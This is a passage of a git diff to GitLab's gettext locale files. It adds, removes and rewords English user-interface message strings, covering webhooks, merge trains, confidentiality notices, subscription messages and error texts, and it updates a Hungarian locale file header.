msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26764,6 +27478,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26800,6 +27517,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26842,6 +27562,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27046,6 +27772,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27109,9 +27838,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27253,7 +27979,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27298,6 +28024,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27319,21 +28129,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27343,6 +28153,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27661,10 +28474,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27673,6 +28486,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27682,6 +28501,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27718,9 +28540,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27754,13 +28573,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27844,10 +28663,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28060,6 +28879,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28135,7 +28957,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28252,6 +29074,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28381,6 +29206,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28684,12 +29512,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28849,6 +29671,12 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "group"
msgstr ""
@@ -28894,9 +29722,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28939,6 +29764,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29089,9 +29917,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29104,6 +29938,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29176,9 +30013,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29212,12 +30046,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29299,19 +30127,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29527,6 +30355,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29572,9 +30403,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29692,6 +30520,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29710,6 +30541,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29773,6 +30607,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/hu_HU/gitlab.po b/locale/hu_HU/gitlab.po
index 732e30a9385..9839d034892 100644
--- a/locale/hu_HU/gitlab.po
+++ b/locale/hu_HU/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hu\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:45\n"
+"PO-Revision-Date: 2020-09-04 23:08\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
